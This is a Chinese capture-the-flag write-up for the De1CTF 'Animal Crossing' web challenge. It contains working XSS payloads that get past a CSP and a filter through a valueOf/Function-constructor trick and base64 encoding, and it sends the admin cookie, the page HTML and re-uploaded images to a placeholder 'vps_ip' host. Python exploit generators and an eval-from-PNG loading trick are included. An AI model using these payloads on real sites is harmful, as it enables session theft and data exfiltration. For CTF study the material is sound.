前言
五一的时候参与了一下De1CTF,里面有一道题让我印象很深刻:Animal Crossing。
题目分析
题干描述如下:
可能作者很喜欢玩动森),进去之后是一个如下页面:
我们随机输入一些字符串后,来到下一页:
此时我们的url:
http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=vcwevcw
我们随机更改,页面会相应变化,同时发现有admin report界面:
那么很明显了,这应该是一个xss打管理员cookie的题目。
尝试fuzz了一下各个参数,发现攻击点应该在data参数上,但其过滤了大量的字符,并且设有csp,导致常规的xss做法并不适用:
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';
原型链构造
发现我们的代码会被拼接在此处进行执行,那么首先进行闭合:
view-source:http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=%27||1111//
那么如何利用1111部分的代码,让我们达到执行任意代码的目的呢?
这里就和一些trick有关,我们看一个例子:
可以看到,对于toString,其会将其他值以字符串形式表示,特别的,对于对象,其会转换为[object Object],而对于数组,其会转换为Array.join(',')的形式进行拼接。但是对于valueOf( ),其返回的则是自身。
那我们再看一个例子:
在一元加操作符操作对象的时候,会先调用对象的valueOf方法来转换,如此一来,我们可以利用这一特点,进行函数构造执行代码。那么我们回到题目中:
如此一来,我们就可以定义function内容:
那么我们再搭配上valueOf:
当然,代码中没有+1的操作,那么怎么触发valueOf呢?其实很简单:
如此一来,我们即可进行任意代码执行。
xss打cookie
在可执行任意代码后,我们下一步就是进行location跳转打cookie:
location='http://vps_ip?flag='+document.cookie
但是由于题目设置了较为恶心的waf,所以我们这里选择利用atob编码绕过:
import requests from base64 import b64encode s = """ location='http://vps_ip?flag='+document.cookie """ print(s) data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d') url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//" print(url)
编写代码如上,以用于自动生成exp。
攻击后即可得到管理员cookie:
FLAG=De1CTF{I_l1k4_
xss打管理员页面
但很显然只有一半flag是不行的,于是想到读一下管理员页面信息:
location='http://vps_ip?flag='+btoa(document.body.innerHTML)
得到信息解码后如下:
可以发现管理员界面有无数张图片= =,猜想flag要么是其中一张,要么是拼接所有图片得到。那么尝试访问目录访问图片,但发现均为500,无法直接访问。
于是这里想到方案有2种:
1.利用js截图,将页面带出
2.将图片全部传出来
在解题中我选择了第二种思路,那么如何把图片传出呢?这里我们发现题目还有一个上传功能,可以让我们上传头像,但是只允许png和jpg后缀,这也是为何我选择了第二种方法,因为后缀名没法bypass(但是后来交流发现,不需要bypass后缀= =,我太菜啦!)
那么这里的思路转变为让管理员将图片上传后,再将return的访问url传出到我们的vps,我们即可获取到图片,于是写出如下脚本:
import requests from base64 import b64encode s = """ (async()=>{ const arr = [] for(let i=1;i<=9;i++) { res = await fetch(`/island/test_$0{i}.png`) data = await res.blob() const os = new FormData(); const mf = new File([data], "name.png"); os.append("file", mf); r = await fetch("/upload", {method: "POST",body: os}) data = await r.json() arr.push(data.data) } location="http://vps_ip/?c="+btoa(JSON.stringify(arr)) })(); """ print(s) data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d') url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//" print(url)
然后将400张图拼在一起,得到后半段flag:
当然这里额外提一下,其实引入js库,不需要bypass js后缀,我们利用如下方式即可:
fetch(`/static/images/xxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt))
然后引入js库,截图后将图片利用upload上传,再把return url发送到我们服务器即可~
后记
这道xss是我认为De1CTF比较有趣的一道题目了,首先考的就是纯web,其次出题的思路比较好,而不是一味的恶心人= =,点个赞~
本文为 一叶飘零 原创稿件,授权嘶吼独家发布,如若转载,请注明原文地址